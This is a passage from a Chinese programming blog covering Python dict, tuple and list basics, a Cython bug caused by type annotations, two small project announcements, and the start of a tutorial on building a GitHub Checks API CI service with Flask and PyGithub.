    Max

添加或修改元素

只需添加或访问键并分配值即可。

# 添加新键
my_dict["email"] = "max@xyz.com"
print(my_dict)

# 覆盖已经存在的键
my_dict["email"] = "coolmax@xyz.com"
print(my_dict)
    {'name': 'Max', 'age': 28, 'city': 'New York', 'email': 'max@xyz.com'}
    {'name': 'Max', 'age': 28, 'city': 'New York', 'email': 'coolmax@xyz.com'}

删除元素

# 删除键值对
del my_dict["email"]

# pop 返回值并删除键值对
print("popped value:", my_dict.pop("age"))

# 返回并移除最后插入的价值对
# (在 Python 3.7 之前,移除任意键值对)
print("popped item:", my_dict.popitem())

print(my_dict)

# clear() : 移除所有键值对
# my_dict.clear()
    popped value: 28
    popped item: ('city', 'New York')
    {'name': 'Max'}

检查键

my_dict = {"name":"Max", "age":28, "city":"New York"}
# 使用 if .. in ..
if "name" in my_dict:
    print(my_dict["name"])

# 使用 try except
try:
    print(my_dict["firstname"])
except KeyError:
    print("No key found")
    Max
    No key found

遍历字典

# 遍历键
for key in my_dict:
    print(key, my_dict[key])

# 遍历键
for key in my_dict.keys():
    print(key)

# 遍历值
for value in my_dict.values():
    print(value)

# 遍历键和值
for key, value in my_dict.items():
    print(key, value)
    name Max
    age 28
    city New York
    name
    age
    city
    Max
    28
    New York
    name Max
    age 28
    city New York

复制字典

复制索引时请注意。

dict_org = {"name":"Max", "age":28, "city":"New York"}

# 这只复制字典的引用,需要小心
dict_copy = dict_org

# 修改复制字典也会影响原来的字典
dict_copy["name"] = "Lisa"
print(dict_copy)
print(dict_org)

# 使用 copy() 或者 dict(x) 来真正复制字典
dict_org = {"name":"Max", "age":28, "city":"New York"}

dict_copy = dict_org.copy()
# dict_copy = dict(dict_org)

# 现在修改复制字典不会影响原来的字典
dict_copy["name"] = "Lisa"
print(dict_copy)
print(dict_org)
    {'name': 'Lisa', 'age': 28, 'city': 'New York'}
    {'name': 'Lisa', 'age': 28, 'city': 'New York'}
    {'name': 'Lisa', 'age': 28, 'city': 'New York'}
    {'name': 'Max', 'age': 28, 'city': 'New York'}

合并两个字典

# 使用 update() 方法合两个字典
# 存在的键会被覆盖,新键会被添加
my_dict = {"name":"Max", "age":28, "email":"max@xyz.com"}
my_dict_2 = dict(name="Lisa", age=27, city="Boston")

my_dict.update(my_dict_2)
print(my_dict)
    {'name': 'Lisa', 'age': 27, 'email': 'max@xyz.com', 'city': 'Boston'}

可能的键类型

任何不可变的类型(例如字符串或数字)都可以用作键。 另外,如果元组仅包含不可变元素,则可以使用它作为键。

# 使用数字做键,但要小心
my_dict = {3: 9, 6: 36, 9:81}
# 不要将键误认为是列表的索引,例如,在这里无法使用 my_dict[0]
print(my_dict[3], my_dict[6], my_dict[9])

# 使用仅包含不可变元素(例如数字,字符串)的元组
my_tuple = (8, 7)
my_dict = {my_tuple: 15}

print(my_dict[my_tuple])
# print(my_dict[8, 7])

# 不能使用列表,因为列表是可变的,会抛出错误:
# my_list = [8, 7]
# my_dict = {my_list: 15}
    9 36 81
    15

嵌套字典

值也可以是容器类型(例如列表,元组,字典)。

my_dict_1 = {"name": "Max", "age": 28}
my_dict_2 = {"name": "Alex", "age": 25}
nested_dict = {"dictA": my_dict_1,
               "dictB": my_dict_2}
print(nested_dict)
    {'dictA': {'name': 'Max', 'age': 28}, 'dictB': {'name': 'Alex', 'age': 25}}

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

02. Tuple — Python 进阶

元组(Tuple)是对象的集合,它有序且不可变。 元组类似于列表,主要区别在于不可变性。 在Python中,元组用圆括号和逗号分隔的值书写。

my_tuple = ("Max", 28, "New York")

使用元组而不使用列表的原因

  • 通常用于属于同一目标的对象。
  • 将元组用于异构(不同)数据类型,将列表用于同类(相似)数据类型。
  • 由于元组是不可变的,因此通过元组进行迭代比使用列表进行迭代要快一些。
  • 具有不可变元素的元组可以用作字典的键。 使用列表做为键是不可能的。
  • 如果你有不变的数据,则将其实现为元组将确保其有写保护。

创建元组

用圆括号和逗号分隔的值创建元组,或使用内置的 tuple 函数。

tuple_1 = ("Max", 28, "New York")
tuple_2 = "Linda", 25, "Miami" # 括弧可选

# 特殊情况:只有一个元素的元组需要在在最后添加逗号,否则不会被识别为元组
tuple_3 = (25,)
print(tuple_1)
print(tuple_2)
print(tuple_3)

# 或者使用内置 tuple 函数将可迭代对象(list,dict,string)转变为元组
tuple_4 = tuple([1,2,3])
print(tuple_4)
    ('Max', 28, 'New York')
    ('Linda', 25, 'Miami')
    (25,)
    (1, 2, 3)

访问元素

可以通过引用索引号访问元组项。 请注意,索引从0开始。

item = tuple_1[0]
print(item)
# 你也可以使用负索引,比如 -1 表示最后一个元素,-2 表示倒数第二个元素,以此类推
item = tuple_1[-1]
print(item)
    Max
    New York

添加或者修改元素

不可能,会触发 TypeError 错误。

tuple_1[2] = "Boston"
---------------------------------------------------------------------------
    TypeError                                 Traceback (most recent call last)
    <ipython-input-5-c391d8981369> in <module>
    ----> 1 tuple_1[2] = "Boston"

    TypeError: 'tuple' object does not support item assignment

删除元组

del tuple_2

迭代

# 使用 for 循环迭代元组
for i in tuple_1:
    print(i)
    Max
    28
    New York

检查元素是否存在

if "New York" in tuple_1:
    print("yes")
else:
    print("no")
    yes

有用的方法

my_tuple = ('a','p','p','l','e',)

# len() : 获取元组元素个数
print(len(my_tuple))

# count(x) : 返回与 x 相等的元素个数
print(my_tuple.count('p'))

# index(x) : 返回与 x 相等的第一个元素索引
print(my_tuple.index('l'))

# 重复
my_tuple = ('a', 'b') * 5
print(my_tuple)

# 拼接
my_tuple = (1,2,3) + (4,5,6)
print(my_tuple)

# 将列表转为元组,以及将元组转为列表
my_list = ['a', 'b', 'c', 'd']
list_to_tuple = tuple(my_list)
print(list_to_tuple)

tuple_to_list = list(list_to_tuple)
print(tuple_to_list)

# convert string to tuple
string_to_tuple = tuple('Hello')
print(string_to_tuple)
    5
    2
    3
    ('a', 'b', 'a', 'b', 'a', 'b', 'a', 'b', 'a', 'b')
    (1, 2, 3, 4, 5, 6)
    ('a', 'b', 'c', 'd')
    ['a', 'b', 'c', 'd']
    ('H', 'e', 'l', 'l', 'o')

切片

和字符串一样,使用冒号(:)访问列表的子部分。

# a[start:stop:step], 默认步长为 1
a = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
b = a[1:3] # 注意,最后一个索引不包括
print(b)
b = a[2:] # 知道最后
print(b)
b = a[:3] # 从最前头开始
print(b)
b = a[::2] # 从前往后没两个元素
print(b)
b = a[::-1] # 翻转元组
print(b)
    (2, 3)
    (3, 4, 5, 6, 7, 8, 9, 10)
    (1, 2, 3)
    (1, 3, 5, 7, 9)
    (10, 9, 8, 7, 6, 5, 4, 3, 2, 1)

元组解包

# 变量个数必需与元组元素个数相同
tuple_1 = ("Max", 28, "New York")
name, age, city = tuple_1
print(name)
print(age)
print(city)

# 提示: 使用 * 解包多个元素到列表
my_tuple = (0, 1, 2, 3, 4, 5)
item_first, *items_between, item_last = my_tuple
print(item_first)
print(items_between)
print(item_last)
    Max
    28
    New York
    0
    [1, 2, 3, 4]
    5

嵌套元组

a = ((0, 1), ('age', 'height'))
print(a)
print(a[0])
    ((0, 1), ('age', 'height'))
    (0, 1)

比较元组和列表

元组的不可变性使Python可以进行内部优化。 因此,在处理大数据时,元组可以更高效。

# 比较大小
import sys
my_list = [0, 1, 2, "hello", True]
my_tuple = (0, 1, 2, "hello", True)
print(sys.getsizeof(my_list), "bytes")
print(sys.getsizeof(my_tuple), "bytes")

# 比较列表和元组创建语句的执行时间
import timeit
print(timeit.timeit(stmt="[0, 1, 2, 3, 4, 5]", number=1000000))
print(timeit.timeit(stmt="(0, 1, 2, 3, 4, 5)", number=1000000))
    104 bytes
    88 bytes
    0.12474981700000853
    0.014836141000017733

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

01. List — Python 进阶

列表(List)是一种有序且可变的容器数据类型。 与集合(Set)不同,列表允许重复的元素。 它方便保存数据序列并对其进行进一步迭代。 列表用方括号创建。

my_list = ["banana", "cherry", "apple"]

Python中基本的内置容器数据类型的比较:

  • 列表(List)是一个有序且可变的数据类型。 允许重复的成员。
  • 元组(Tuple)是有序且不可变的数据类型。 允许重复的成员。
  • 集合(Set)是无序和未索引的数据类型。 不允许重复的成员。
  • 字典(Dict)是无序,可变和可索引的数据类型。 没有重复的成员。
  • 字符串是Unicode代码的不可变序列。

创建列表

列表使用方括号创建,或者内置的 list 函数。

list_1 = ["banana", "cherry", "apple"]
print(list_1)

# 或者使用 list 函数创建空列表
list_2 = list()
print(list_2)

# 列表允许不同的数据类
list_3 = [5, True, "apple"]
print(list_3)

# 列表允许重复元素
list_4 = [0, 0, 1, 1]
print(list_4)
    ['banana', 'cherry', 'apple']
    []
    [5, True, 'apple']
    [0, 0, 1, 1]

访问元素

可以通过索引号访问列表项。 请注意,索引从0开始。

item = list_1[0]
print(item)

# 你也可以使用负索引,比如 -1 表示最后一个元素,
# -2 表示倒数第二个元素,以此类推
item = list_1[-1]
print(item)
    banana
    apple

修改元素

只需访问索引并分配一个新值即可。

# 列表创建之后可以被修改
list_1[2] = "lemon"
print(list_1)
    ['banana', 'cherry', 'lemon']

有用的方法

查看Python文档以查看所有列表方法:https://docs.python.org/3/tutorial/datastructures.html

my_list = ["banana", "cherry", "apple"]

# len() : 获取列表的元素个数
print("Length:", len(my_list))

# append() : 添加一个元素到列表末尾
my_list.append("orange")

# insert() : 添加元素到特定位置
my_list.insert(1, "blueberry")
print(my_list)

# pop() : 移除并返回特定位置的元素,默认为最后一个
item = my_list.pop()
print("Popped item: ", item)

# remove() : 移除列表中的元素
my_list.remove("cherry") # 如果元素没有在列表中,则触发 Value error
print(my_list)

# clear() : 移除列表所有元素
my_list.clear()
print(my_list)

# reverse() : 翻转列表
my_list = ["banana", "cherry", "apple"]
my_list.reverse()
print('Reversed: ', my_list)

# sort() : 升序排列元素
my_list.sort()
print('Sorted: ', my_list)

# 使用 sorted() 得到一个新列表,原来的列表不受影响
# sorted() 对任何可迭代类型起作用,不只是列表
my_list = ["banana", "cherry", "apple"]
new_list = sorted(my_list)

# 创建具有重复元素的列表
list_with_zeros = [0] * 5
print(list_with_zeros)

# 列表拼接
list_concat = list_with_zeros + my_list
print(list_concat)

# 字符串转列表
string_to_list = list('Hello')
print(string_to_list)
    Length: 3
    ['banana', 'blueberry', 'cherry', 'apple', 'orange']
    Popped item:  orange
    ['banana', 'blueberry', 'apple']
    []
    Reversed:  ['apple', 'cherry', 'banana']
    Sorted:  ['apple', 'banana', 'cherry']
    [0, 0, 0, 0, 0]
    [0, 0, 0, 0, 0, 'banana', 'cherry', 'apple']
    ['H', 'e', 'l', 'l', 'o']

复制列表

复制引用(references)时要小心。

list_org = ["banana", "cherry", "apple"]

# 这只是将引用复制到列表中,要小心
list_copy = list_org

# 现在,修改复制的列表也会影响原来的列表
list_copy.append(True)
print(list_copy)
print(list_org)

# 使用 copy(), 或者 list(x) 来真正复制列表
# 切片(slicing)也可以复制:list_copy = list_org[:]
list_org = ["banana", "cherry", "apple"]

list_copy = list_org.copy()
# list_copy = list(list_org)
# list_copy = list_org[:]

# 现在,修改复制的列表不会影响原来的列表
list_copy.append(True)
print(list_copy)
print(list_org)
    ['banana', 'cherry', 'apple', True]
    ['banana', 'cherry', 'apple', True]
    ['banana', 'cherry', 'apple', True]
    ['banana', 'cherry', 'apple']

迭代

# 使用for循环迭代列表
for i in list_1:
    print(i)
    banana
    cherry
    lemon

检查元素是否存在

if "banana" in list_1:
    print("yes")
else:
    print("no")
    yes

切片

和字符串一样,使用冒号( :)访问列表的子部分。

# a[start:stop:step], 默认步长为 1
a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
b = a[1:3] # 主语,最后一个索引不包括
print(b)
b = a[2:] # 知道最后
print(b)
b = a[:3] # 从第一个元素开始
print(b)
a[0:3] = [0] # 替换子部分,需要可迭代
print(a)
b = a[::2] # 从头到为每隔两个元素
print(b)
a = a[::-1] # 使用负步长翻转列表
print(a)
b = a[:] # 使用切片复制元素
print(b)
    [2, 3]
    [3, 4, 5, 6, 7, 8, 9, 10]
    [1, 2, 3]
    [0, 4, 5, 6, 7, 8, 9, 10]
    [0, 5, 7, 9]
    [10, 9, 8, 7, 6, 5, 4, 0]
    [10, 9, 8, 7, 6, 5, 4, 0]

列表推导

一种从现有列表创建新列表的简便快捷方法。

列表推导方括号内包含一个表达式,后跟for语句。

a = [1, 2, 3, 4, 5, 6, 7, 8]
b = [i * i for i in a] # 每个元素平方
print(b)
    [1, 4, 9, 16, 25, 36, 49, 64]

嵌套列表

a = [[1, 2], [3, 4]]
print(a)
print(a[0])
    [[1, 2], [3, 4]]
    [1, 2]

Python 函数变量类型注释会导致用 Cython 编译后执行与直接执行结果不一致

最近工作中遇到关于函数类型注释引起的错误,特此记录一下。

起因是公司的项目为了安全和执行速度,在发布时会使用 Cython 转为 C 语言并编译成动态连接库进行调用,但是有个函数在 Python 执行时正常,但是在动态连接库中却执行错误。

错误复现

测试用例 test.py

def ip_str(ips: str):
    ips = [x for x in ips]

def ip(ips):
    ips = [x for x in ips]

编译 compile.py

from setuptools import setup
from Cython.Build import cythonize

extensions = ["test.py",]

setup(name='test',
      ext_modules=cythonize(extensions)
)

运行编译:

python compile.py build

编译之后进入对应 so 文件目录 build/lib-{平台架构},运行对比:

>>> import test
>>> test.ip("123")
>>> test.ip_str("123")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "test.py", line 5, in test.ip_str
TypeError: Expected str, got list

经过调查发现,当函数变量做了类型注释时,不能重新赋值为其他类型,否则会在 Cython 编译后执行时报错。

Cython 可以在编译时推断出部分简单的错误,比如:

def ip1():
    ips: str = '1'
    ips = ['1']
Error compiling Cython file:
------------------------------------------------------------
...

def ip1():
    ips: str = '1'
    ips = ['1']
         ^
------------------------------------------------------------

test.py:10:10: Cannot coerce list to type 'str object'

但如果代码比较复杂,则只能在运行时才会出错。所以上述错误只能在执行的时候才被抛出。

原因

Cython 将 Python 转为 C 代码比较后类型注释与否代码比较:

  • 没有类型注释:

    /* "test.py":2
     * 
     * def ip_str(ips: str):             # <<<<<<<<<<<<<<
     *     ips = [x for x in ips]
     * 
     */
    
    /* Python wrapper */
    static PyObject *__pyx_pw_4test_1ip_str(PyObject *__pyx_self, PyObject *__pyx_v_ips); /*proto*/
    static PyMethodDef __pyx_mdef_4test_1ip_str = {"ip_str", (PyCFunction)__pyx_pw_4test_1ip_str, METH_O, 0};
    static PyObject *__pyx_pw_4test_1ip_str(PyObject *__pyx_self, PyObject *__pyx_v_ips) {
      PyObject *__pyx_r = 0;
      __Pyx_RefNannyDeclarations
      __Pyx_RefNannySetupContext("ip_str (wrapper)", 0);
      if (unlikely(!__Pyx_ArgTypeTest(((PyObject *)__pyx_v_ips), (&PyString_Type), 1, "ips", 1))) __PYX_ERR(0, 2, __pyx_L1_error)
      __pyx_r = __pyx_pf_4test_ip_str(__pyx_self, ((PyObject*)__pyx_v_ips));
    
      /* function exit code */
      goto __pyx_L0;
      __pyx_L1_error:;
      __pyx_r = NULL;
      __pyx_L0:;
      __Pyx_RefNannyFinishContext();
      return __pyx_r;
    }
    
    static PyObject *__pyx_pf_4test_ip_str(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_ips) {
      PyObject *__pyx_v_x = NULL;
      PyObject *__pyx_r = NULL;
      __Pyx_RefNannyDeclarations
      PyObject *__pyx_t_1 = NULL;
      PyObject *__pyx_t_2 = NULL;
      PyObject *(*__pyx_t_3)(PyObject *);
      PyObject *__pyx_t_4 = NULL;
      __Pyx_RefNannySetupContext("ip_str", 0);
      __Pyx_INCREF(__pyx_v_ips);
    
      /* "test.py":3
     * 
     * def ip_str(ips: str):
     *     ips = [x for x in ips]             # <<<<<<<<<<<<<<
     * 
     * def ip(ips):
     */
      __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 3, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      __pyx_t_2 = PyObject_GetIter(__pyx_v_ips); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 3, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      __pyx_t_3 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 3, __pyx_L1_error)
      for (;;) {
        {
          __pyx_t_4 = __pyx_t_3(__pyx_t_2);
          if (unlikely(!__pyx_t_4)) {
            PyObject* exc_type = PyErr_Occurred();
            if (exc_type) {
              if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear();
              else __PYX_ERR(0, 3, __pyx_L1_error)
            }
            break;
          }
          __Pyx_GOTREF(__pyx_t_4);
        }
        __Pyx_XDECREF_SET(__pyx_v_x, __pyx_t_4);
        __pyx_t_4 = 0;
        if (unlikely(__Pyx_ListComp_Append(__pyx_t_1, (PyObject*)__pyx_v_x))) __PYX_ERR(0, 3, __pyx_L1_error)
      }
      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
      if (!(likely(PyString_CheckExact(__pyx_t_1))||(PyErr_Format(PyExc_TypeError, "Expected %.16s, got %.200s", "str", Py_TYPE(__pyx_t_1)->tp_name), 0))) __PYX_ERR(0, 3, __pyx_L1_error)
      __Pyx_DECREF_SET(__pyx_v_ips, ((PyObject*)__pyx_t_1));
      __pyx_t_1 = 0;
    
  • 有类型注释:

    /* "test.py":2
     * 
     * def ip_str(ips: str):             # <<<<<<<<<<<<<<
     *     ips = [x for x in ips]
     * 
     */
    
      /* function exit code */
      __pyx_r = Py_None; __Pyx_INCREF(Py_None);
      goto __pyx_L0;
      __pyx_L1_error:;
      __Pyx_XDECREF(__pyx_t_1);
      __Pyx_XDECREF(__pyx_t_2);
      __Pyx_XDECREF(__pyx_t_4);
      __Pyx_AddTraceback("test.ip_str", __pyx_clineno, __pyx_lineno, __pyx_filename);
      __pyx_r = NULL;
      __pyx_L0:;
      __Pyx_XDECREF(__pyx_v_x);
      __Pyx_XDECREF(__pyx_v_ips);
      __Pyx_XGIVEREF(__pyx_r);
      __Pyx_RefNannyFinishContext();
      return __pyx_r;
    }
    
    /* "test.py":5
     *     ips = [x for x in ips]
     * 
     * def ip(ips):             # <<<<<<<<<<<<<<
     *     ips = [x for x in ips]
     */
    
    /* Python wrapper */
    static PyObject *__pyx_pw_4test_3ip(PyObject *__pyx_self, PyObject *__pyx_v_ips); /*proto*/
    static PyMethodDef __pyx_mdef_4test_3ip = {"ip", (PyCFunction)__pyx_pw_4test_3ip, METH_O, 0};
    static PyObject *__pyx_pw_4test_3ip(PyObject *__pyx_self, PyObject *__pyx_v_ips) {
      PyObject *__pyx_r = 0;
      __Pyx_RefNannyDeclarations
      __Pyx_RefNannySetupContext("ip (wrapper)", 0);
      __pyx_r = __pyx_pf_4test_2ip(__pyx_self, ((PyObject *)__pyx_v_ips));
    
      /* function exit code */
      __Pyx_RefNannyFinishContext();
      return __pyx_r;
    }
    
    static PyObject *__pyx_pf_4test_2ip(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_ips) {
      PyObject *__pyx_v_x = NULL;
      PyObject *__pyx_r = NULL;
      __Pyx_RefNannyDeclarations
      PyObject *__pyx_t_1 = NULL;
      PyObject *__pyx_t_2 = NULL;
      Py_ssize_t __pyx_t_3;
      PyObject *(*__pyx_t_4)(PyObject *);
      PyObject *__pyx_t_5 = NULL;
      __Pyx_RefNannySetupContext("ip", 0);
      __Pyx_INCREF(__pyx_v_ips);
    
      /* "test.py":6
     * 
     * def ip(ips):
     *     ips = [x for x in ips]             # <<<<<<<<<<<<<<
     */
      __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      if (likely(PyList_CheckExact(__pyx_v_ips)) || PyTuple_CheckExact(__pyx_v_ips)) {
        __pyx_t_2 = __pyx_v_ips; __Pyx_INCREF(__pyx_t_2); __pyx_t_3 = 0;
        __pyx_t_4 = NULL;
      } else {
        __pyx_t_3 = -1; __pyx_t_2 = PyObject_GetIter(__pyx_v_ips); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_2);
        __pyx_t_4 = Py_TYPE(__pyx_t_2)->tp_iternext; if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 6, __pyx_L1_error)
      }
      for (;;) {
        if (likely(!__pyx_t_4)) {
          if (likely(PyList_CheckExact(__pyx_t_2))) {
            if (__pyx_t_3 >= PyList_GET_SIZE(__pyx_t_2)) break;
            #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
            __pyx_t_5 = PyList_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_5); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 6, __pyx_L1_error)
            #else
            __pyx_t_5 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 6, __pyx_L1_error)
            __Pyx_GOTREF(__pyx_t_5);
            #endif
          } else {
            if (__pyx_t_3 >= PyTuple_GET_SIZE(__pyx_t_2)) break;
            #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS
            __pyx_t_5 = PyTuple_GET_ITEM(__pyx_t_2, __pyx_t_3); __Pyx_INCREF(__pyx_t_5); __pyx_t_3++; if (unlikely(0 < 0)) __PYX_ERR(0, 6, __pyx_L1_error)
            #else
            __pyx_t_5 = PySequence_ITEM(__pyx_t_2, __pyx_t_3); __pyx_t_3++; if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 6, __pyx_L1_error)
            __Pyx_GOTREF(__pyx_t_5);
            #endif
          }
        } else {
          __pyx_t_5 = __pyx_t_4(__pyx_t_2);
          if (unlikely(!__pyx_t_5)) {
            PyObject* exc_type = PyErr_Occurred();
            if (exc_type) {
              if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear();
              else __PYX_ERR(0, 6, __pyx_L1_error)
            }
            break;
          }
          __Pyx_GOTREF(__pyx_t_5);
        }
        __Pyx_XDECREF_SET(__pyx_v_x, __pyx_t_5);
        __pyx_t_5 = 0;
        if (unlikely(__Pyx_ListComp_Append(__pyx_t_1, (PyObject*)__pyx_v_x))) __PYX_ERR(0, 6, __pyx_L1_error)
      }
      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
      __Pyx_DECREF_SET(__pyx_v_ips, __pyx_t_1);
      __pyx_t_1 = 0;
    

主要区别在于,类型注释增加了变量检测 __Pyx_ArgTypeTest ,以及之后赋值 ips 时的类型检测 PyString_CheckExact;没有变量类型注释则进行了变量推测,判断是否为List( PyList_CheckExact)或者Tuple ( PyTuple_CheckExact),还是可迭代类型。

结论

  1. 类型注释在编译后会简化处理流程;
  2. 类型注释的变量不能赋值为其他类型。

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

项目:文章转博客 Podcastx

这个项目是对之前使用谷歌文章转语音(TTS)功能后的一个实验性产品,项目目前的功能是将博客文章转成语音进行收听。

项目地址: https://podcastx.qiwihui.com

目前支持的功能:

  1. 输入文章链接,生成对应文章的语音朗读,目前中文。
  2. 提供内嵌播放器放入博客中,使博客可以朗读。
  3. 支持对已生成的播客进行搜索和收藏。

待支持的功能:

  1. 同时支持多种语言,支持不用声音朗读。
  2. 支持 RSS 订阅朗读。
  3. 支持评论。
  4. 支持浏览器插件。

这个项目的下一个阶段的功能,是提供从文字到播客的功能,目的在于为设备或者口语能力有限的人提供制作博客的方便方法。看到很多技术达人在制作播客,作者本人也想制作一些博客,碍于口语表达。所以这个项目的目的就在于将这个过程通过比较成熟的tts来实现。

项目UI:

podcastx

play list

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

Google codelabs 模板

项目地址:https://github.com/qiwihui/codelabs-site-template

之前用过 Google Codelabs,对于它提供的指导性,动手的编码过程非常喜欢。Codelabs 用步骤性的教学方式,一步步地引导,非常适合用来书写教程。但是这种教程的编写需要两个过程:一是需要使用特定的格式书写,这个格式比 markdown 稍多一些内容;二是需要使用特定的工具 claat 进行转换。

这个项目的作用就是提供模板和自动化过程,使用 github actions 完成自动构建和部署过程,是教程书写专注于内容。你所需要做的就是在这个项目模板的基础上,在 markdowns 目录中,按不同需要增加教程即可。

image

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

使用 Python 集成 GitHub App 和 GitHub Check API,构建持续集成服务

这篇博客的起因是在做项目的过程中要求使用 Python 完成相应功能,现在将这部份代码按教程的流程发布出来。

原文《使用 Checks API 创建 CI 测试》中使用 Ruby,现使用 Python 完成文档示例。由于教程已经将大部分内容详细描述了,本文只列出与原来教程有不同的步骤,以及对应的 Python 代码。

项目地址:qiwihui/githubappcheckruns

基本要求

文档:https://docs.github.com/cn/developers/apps/setting-up-your-development-environment-to-create-a-github-app

  1. 使用本地测试,利用 smee 转发 github 回调到本地

访问 smee.io 并创建一个新的 channel,比如 https://smee.io/LgDQ8xrhy0q2GeET,然后使用 pysmee 命令运行如下命令:

# 安装
pip install pysmee
# 运行命令
pysmee forward https://smee.io/LgDQ8xrhy0q2GeET http://localhost:5000/events

或者使用项目目录 smee 中的 node 脚本运行

npm i
npm run smee

第 1 部分 创建检查 API 接口

步骤 1.1. 更新应用程序权限

主要为以下权限:

  • Repository permissions
    • Checks: Read & write
    • Contents: Read & write
    • Pull requests: Read & write
  • Subscribe to events
    • check suite
    • check run

步骤 1.2. 添加事件处理

对应于 Ruby 中使用 Sinatra 作为 web 框架,我们使用 Flask 作为 web 框架,并结合 PyGithub 这个库提供的 github API 封装,由于 PyGithub 在发布的版本中还未集成 check run 对应的 API,所以使用其 master 分支上的代码,添加 git+https://github.com/PyGithub/PyGithub.git 到 requirements.txt 中。

app = Flask(__name__)
APP_NAME = "Octo PyLinter"

app.config["GITHUB_APP_ID"] = config.GITHUB_APP_ID
app.config["GITHUB_KEY_FILE"] = config.GITHUB_KEY_FILE
app.config["GITHUB_SECRET"] = config.GITHUB_SECRET
app.config["GITHUB_APP_ROUTE"] = config.GITHUB_APP_ROUTE

github_app = GithubAppFlask(app)

@github_app.on(
    [
        "check_suite.requested",
        "check_suite.rerequested",
        "check_run.rerequested",
    ]
)
def create_check_run():
    pass
    client = github_app.github_app_installation.get_github_client()
    head_sha = (
        github_app.payload["check_run"]
        if "check_run" in github_app.payload
        else github_app.payload["check_suite"]["head_sha"]
    )
    repo = client.get_repo(github_app.payload["repository"]["full_name"])
    repo.create_check_run(name=APP_NAME, head_sha=head_sha)

其中,GithubAppFlask 提供三个功能:

  1. 提供 github_app 封装;
  2. 提供 on 装饰器,对于不同 github 动作分发处理;
  3. github webhook 认证;

步骤 1.3. 创建 check run

使用 PyGithub 库的 create_check_run 处理


def create_check_run():
    client = github_app.github_app_installation.get_github_client()
    head_sha = (
        github_app.payload["check_run"]
        if "check_run" in github_app.payload
        else github_app.payload["check_suite"]["head_sha"]
    )
    repo = client.get_repo(github_app.payload["repository"]["full_name"])
    repo.create_check_run(name=APP_NAME, head_sha=head_sha)

步骤 1.4. 更新 check run

@github_app.on(["check_run.created"])
def initiate_check_run():
    """Start the CI process"""

    # Check that the event is being sent to this app
    if str(github_app.payload["check_run"]["app"]["id"]) == config.GITHUB_APP_ID:
        client = github_app.github_app_installation.get_github_client()
        repo = client.get_repo(github_app.payload["repository"]["full_name"])
        check_run = repo.get_check_run(github_app.payload["check_run"]["id"])
        # Mark the check run as in process
        check_run.edit(
            name=APP_NAME,
            status="in_progress",
            started_at=datetime.now(),
        )

        # ***** RUN A CI TEST *****
        # 暂略

        # Mark the check run as complete!
        check_run.edit(
            name=APP_NAME,
            status="completed",
            completed_at=datetime.now(),
            conclusion=conclusion
        )

第 2 部分 创建 Octo RuboCop CI 测试

原教程使用 RuboCop 作为 ruby 代码语法检查和格式化工具,相对应,我们使用 pylint 作为 python 代码语法检查,使用 autopep8 作为格式化工具。 同样,对于git项目的操作,我们使用 GitPython 简化操作。

步骤 2.1. 添加 Python 文件

添加要操作的 python 文件即可。

步骤 2.2. 克隆仓库

使用 GitPython 库处理,使用临时目录进行克隆。

def clone_repository(full_repo_name, repository, ref, installation_token, clean=False):
    repo_dir = tempfile.mkdtemp()
    git.Git(repo_dir).clone(f"https://x-access-token:{installation_token}@github.com/{full_repo_name}.git")
    # pull and chekout
    repo = git.Repo(f"{repo_dir}/{repository}")
    repo.git.pull()
    repo.git.checkout(ref)
    if clean:
        shutil.rmtree(tempdir, ignore_errors=True)
    return repo_dir

运行 CI 测试:

        # ***** RUN A CI TEST *****
        full_repo_name = github_app.payload["repository"]["full_name"]
        repository = github_app.payload["repository"]["name"]
        head_sha = github_app.payload["check_run"]["head_sha"]
        repo_dir = clone_repository(
            full_repo_name,
            repository,
            head_sha,
            installation_token=github_app.github_app_installation.token,
            clean=True,
        )

步骤 2.3. 运行 pylint

pylint 运行并输出json结果。

        command = f"pylint {repo_dir}/{repository}/**/*.py -f json"
        report = subprocess.getoutput(command)
        shutil.rmtree(repo_dir)
        output = json.loads(report)

步骤 2.4. 收集 pylint 错误

pylint结果与 rubocop 类似,收集并解析结果:

        # lint
        max_annotations = 50

        annotations = []

        # RuboCop reports the number of errors found in "offense_count"
        if len(output) == 0:
            conclusion = "success"
            actions = None
        else:
            conclusion = "neutral"
            for file in output:

                file_path = re.sub(f"{repo_dir}/{repository}/", "", file["path"])
                annotation_level = "notice"

                # Parse each offense to get details and location
